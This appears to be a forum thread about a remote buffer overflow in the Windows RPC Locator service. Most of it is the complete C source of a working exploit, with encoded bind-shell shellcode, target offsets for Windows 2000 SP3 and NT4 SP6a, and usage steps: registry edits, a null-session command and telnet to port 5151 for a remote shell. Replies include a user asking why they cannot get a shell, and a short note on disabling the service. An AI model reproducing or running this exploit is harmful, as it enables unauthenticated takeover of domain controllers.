It has been reported that the Microsoft Windows Locator service is affected by a remotely exploitable buffer overflow vulnerability. The condition is due to a memory copy of RPC arguments received from remote clients into a local buffer.

This vulnerability may be exploited by remote attackers to execute custom instructions on the target server. It is also possible to crash the service with a malicious request. It should be noted that, to exploit this vulnerability, no authentication is required. Additionally, the Locator service is enabled by default on all Windows 2000 and Windows NT Domain Controllers (DC).


The following proof of concept code was provided by obscou o <wishkah@chek.com> and Marcin Wolak:

Hm, thanx...it sounds interesting! Could anyone pls. explain it a little bit more?

cya
Jettaman

/****************************************************************************
rpcexp.c
RPC LOCATOR Exploit
Autor: Marcin Wolak
mail: mwolak11@wp.pl
Last update: 30 march 2003
****************************************************************************/

/*****************************************************************************
About Compilation:
What You need to compile rpcexp.c ?
1. MS Platform SDK (August SDK is sufficient).
2. Compilator (f.e. MS Visual C++ 6.0).
rpcns4.lib is needed for linking.
*****************************************************************************/

/*****************************************************************************
Usage (You want to exploit remote Windows 2000 system (w2khost) with running RPC
Locator Service):
1. Set registry values in Your workstation as below:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\NameService\NetworkAddress = w2khost
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\NameService\ServerNetworkAddress = w2khost
2. Establish null session:
net use \\w2khost\ipc$ ""/u: ""
3. Run Exploit:
rpcexp.exe /os w2ksp3

If everything it's ok, rpcexp hangs in console window. You can go to second
cmd console, run telnet (on port 5151) and get cmd on w2khost - just run
on second console:

telnet w2khost 5151

WARNNING !
With this shellcode You can get remote cmd only once. Second attempt will
be rejected.

WARNNING !!
Currently only Windows 2000 Sp3 and Windows NT 4 Sp6a are exploitable with
rpcexp.

*****************************************************************************/

#define UNICODE
#define RPC_UNICODE_SUPPORTED

#define NT4SP6ABRD 0x42
#define W2KSP3BRD 0x142

#define NT4SP6AJMP 0x0147FBC4
#define W2KSP3JMP 0x0090F8F0

#define NT4SP6ALLA 0x77F137BD
#define NT4SP6AGPA 0x77F13FB3

#include <stdio.h>
#include <rpc.h>
#include <rpcnsi.h>


#define PURPOSE \
"RPC Locator exploit utility \n\
Autor: Marcin Wolak - march 2003 \n\
mail: mwolak@gazeta.pl \n\n\
Tested on:\n\n\
Windows 2000 SP3 \n\
Windows NT 4.0 SP6a \n\n\
Only for educational purposes !!!.\n\n\
Usage:\n\
rpcexp.exe /v - to view rpcexp info.\n\
rpcexp.exe /os w2ksp3 - to exploit Windows 2000 Sp3.\n\
rpcexp.exe /os ntsp6a - to exploit Windows NT 4 Sp6a.\n"


char shellcode [] =
"\xEB\x13\x5F\xB9\xCF\x02\xCF\x02\xC1\xE9\x10\x57\x80\x37\x99\x47\xE2\xFA\x5F\xEB"
"\x05\xE8\xE8\xFF\xFF\xFF\x14\x2E\x42\x98\x99\x99\x14\x06\x59\x9B\x99\x99\xCF\x66"
"\x8A\xCE\x14\x06\x5D\x9B\x99\x99\x14\x26\x54\x9B\x99\x99\x10\x5B\x65\xA8\x50\x28"
"\x94\xD0\xA9\x59\x35\x1D\x59\xEC\x60\xCA\xCB\xC8\xCF\xCB\x66\x8A\x32\xC0\xC3\xC2"
"\x7B\x75\xC2\xCA\x14\x02\x59\x9B\x99\x99\xA9\x59\x35\x1D\x59\xEC\x60\xCF\x66\x8A"
"\x10\x5B\xC2\xCA\x14\x02\x5D\x9B\x99\x99\x65\xA8\x50\x28\x9E\xA9\x59\x35\x1D\x59"
"\xEC\x60\xCA\xCB\xC8\xCF\xCB\x66\x8A\x32\xC0\xC3\xC2\x7B\x75\xA8\x59\x2D\x9D\xC9"
"\x58\x71\x9D\xC9\x66\xCE\x55\x10\x5B\xC2\xCA\x14\x02\x25\x99\x99\x99\xA8\x50\x18"
"\x58\xC4\x9B\x99\x99\xC9\x13\x8A\x11\x89\xDA\xD9\x7B\x61\xC1\x14\x02\x15\x99\x99"
"\x99\xCA\xF1\x99\x99\x99\x99\xC9\xC9\xF1\x99\x99\x99\x99\xF1\x99\x99\x99\x99\x66"
"\xCE\x21\xC9\xF1\x99\x89\x99\x99\x66\xCE\x41\xC1\x72\x6D\x70\x9E\x9B\x99\x99\xC6"
"\xCE\x18\x5E\xD5\x99\x99\x99\x10\x67\x18\x5F\x16\x66\x66\x66\xC2\x18\x5A\x39\x99"
"\x99\x99\xCA\xF1\x9B\x9B\x99\x99\x66\xCE\x7D\xA8\x59\xC9\xD9\xC9\xD9\xC9\x66\xCE"
"\x71\x0A\xF1\x89\x99\x99\x99\xCF\xCA\x66\xCE\x75\xF1\x9B\x99\x99\x99\xCA\x66\xCE"
"\x69\xA8\x59\xCE\xC9\x29\x95\x32\xC1\x32\xD9\x32\xC6\xD1\xC9\xCE\xCF\x34\xCF\x66"
"\xCE\x25\xD1\xC9\xCE\x34\xCF\x34\xCF\x66\xCE\x25\xD1\x29\xDD\x10\x9E\xCE\x66\xCE"
"\x59\xA8\x59\x12\xDF\x6D\x10\xDE\xA5\x10\xDE\xD9\x12\x9F\x10\xDE\xA1\xA8\x59\xFF"
"\x21\x98\x98\x10\xDE\xB5\xCE\xCE\xA8\x59\xC9\xC9\xC9\xD9\xC9\xD1\xC9\xC9\x34\xCF"
"\xA8\x59\xC9\x66\xCE\x5D\x66\xEF\x69\x66\xCE\x79\x66\xEF\x65\x66\xCE\x79\xD1\xC9"
"\xC9\xCA\x66\xCE\x6D\x10\x5A\xA8\x59\x2D\x9D\xC9\x58\x71\x9D\xC9\x66\xCE\x55\x10"
"\x5F\xA8\x59\x10\x58\x2C\x9D\xC9\xC9\xCE\xC8\xCF\x66\xEE\x0A\x66\xCE\x51\x18\xA6"
"\x98\x99\x99\x99\xE5\xBC\xA8\x59\xC9\xCE\x66\xAE\xCF\x66\xEE\x0A\x66\xCE\x4D\x90"
"\x59\xED\x8D\xA8\x59\xC9\x66\xAE\xCF\xCA\x66\xCE\x61\xF1\xC9\x99\x99\x99\x66\xCE"
"\x41\x72\x5B\xA8\x59\xC9\x2D\x9D\xC9\xCF\xCA\x66\xCE\x65\xCE\xA8\x50\xC8\xC9\xCF"
"\x66\xEE\x0E\x66\xCE\x49\xF1\xC9\x99\x99\x99\x66\xCE\x41\x72\x38\xC9\x66\xCE\x45"
"\x09\xD2\xDC\xCB\xD7\xDC\xD5\xAA\xAB\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD"
"\x99\xDA\xEB\xFC\xF8\xED\xFC\xCD\xF1\xEB\xFC\xF8\xFD\x99\xDA\xEB\xFC\xF8\xED\xFC"
"\xC9\xF0\xE9\xFC\x99\xDE\xFC\xED\xCA\xED\xF8\xEB\xED\xEC\xE9\xD0\xF7\xFF\xF6\xD8"
"\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xC9\xFC\xFC\xF2"
"\xD7\xF8\xF4\xFC\xFD\xC9\xF0\xE9\xFC\x99\xDE\xF5\xF6\xFB\xF8\xF5\xD8\xF5\xF5\xF6"
"\xFA\x99\xCE\xEB\xF0\xED\xFC\xDF\xF0\xF5\xFC\x99\xCB\xFC\xF8\xFD\xDF\xF0\xF5\xFC"
"\x99\xCA\xF5\xFC\xFC\xE9\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xDA"
"\xF5\xF6\xEA\xFC\xD1\xF8\xF7\xFD\xF5\xFC\x99\xCE\xCA\xD6\xDA\xD2\xAA\xAB\x99\xCE"
"\xCA\xD8\xCA\xED\xF8\xEB\xED\xEC\xE9\x99\xEA\xF6\xFA\xF2\xFC\xED\x99\xFB\xF0\xF7"
"\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99\xEA\xFC\xF7\xFD"
"\x99\xEB\xFC\xFA\xEF\x99\x9B\x99\x8D\x86\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\xFA\xF4\xFD\xB7\xFC\xE1\xFC\x99\xFD\x06\x71\xEE\x81\x02\x71\xEE\x71\x6D"
"\x64\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99";

void Usage(char * pszProgramName)
{
fprintf(stderr, "%s", PURPOSE);
exit(1);
}

void _CRTAPI1 main(int argc, char **argv)
{
unsigned short mytab[2000]; // Exploit Buffer
unsigned char * TmpEntryName = NULL; // Temporary Entry.
unsigned long * EntryName = NULL;
unsigned long * TmpPtr = NULL;
unsigned short * pszStrBinding = NULL;
RPC_NS_HANDLE hnsHandle;
unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;
RPC_STATUS status;
short fSuccess = 0;
short fContinue = 1;
unsigned long i,k;

unsigned long * PtrLLA = (unsigned long*) &shellcode[730];
unsigned long * PtrGPA = (unsigned long*) &shellcode[734];
unsigned long JMP = W2KSP3JMP;
unsigned long BORDER = W2KSP3BRD;

switch(argc){
case 2:
if((strlen(argv[1]) == 2) && (!strcmp(argv[1],"/v")))
Usage(argv[0]);
else
printf("Bad arguments !!!\n");
exit(2);
case 3:
if((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) &&
(!strcmp(argv[1],"/os")) && (!strcmp(argv[2],"w2ksp3")))
break;
if((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) &&
(!strcmp(argv[1],"/os")) && (!strcmp(argv[2],"ntsp6a")))
{
(*PtrLLA) = NT4SP6ALLA ^ 0x99999999;
(*PtrGPA) = NT4SP6AGPA ^ 0x99999999;
JMP = NT4SP6AJMP;
BORDER = NT4SP6ABRD;
break;
}
default:
Usage(argv[0]);

}

EntryName = (unsigned long *) mytab;
TmpEntryName = (unsigned char *) mytab;
TmpEntryName[0] = '/';
TmpEntryName[1] = 0;
TmpEntryName[2] = '.';
TmpEntryName[3] = 0;
TmpEntryName[4] = ':';
TmpEntryName[5] = 0;
TmpEntryName[6] = '/';
TmpEntryName[7] = 0;
for (i=2;i<768;i++)
{
if(i <= BORDER)
EntryName[i] = JMP;
if(i == BORDER)
{
TmpPtr = (unsigned long*) shellcode;
for(k = 0;k < 190;k++)
EntryName[i+k] = TmpPtr[k];
i += 189;
}
if(i > BORDER)
EntryName[i] = JMP;
}
EntryName[768] = 0;

RpcTryExcept {
status = RpcNsBindingLookupBegin(NsSntxType,
(unsigned short *) EntryName,
0,
NULL,
0,
&hnsHandle);
printf("RpcNsBindingLookupBegin returned 0x%x\n", status);
}
RpcExcept(1){
printf("RPC Runtime raised exception 0x%x\n", RpcExceptionCode());
}
RpcEndExcept
} /*End of Main*/






It's a service :
The service can also be stopped by issuing the following command:

sc stop RpcLocator

To disable the service using the sc.exe tool, use the following command:

sc config RpcLocator start= disabled

cool but i cant get shell .does any one have idea about it i know that my isp dosent filter it and it should have another reason

do u have to scan always the port 135 ?? for this exploit

was this for ms03-39?
it sez:
"Last update: 30 march 2003"




well, i answered my own question...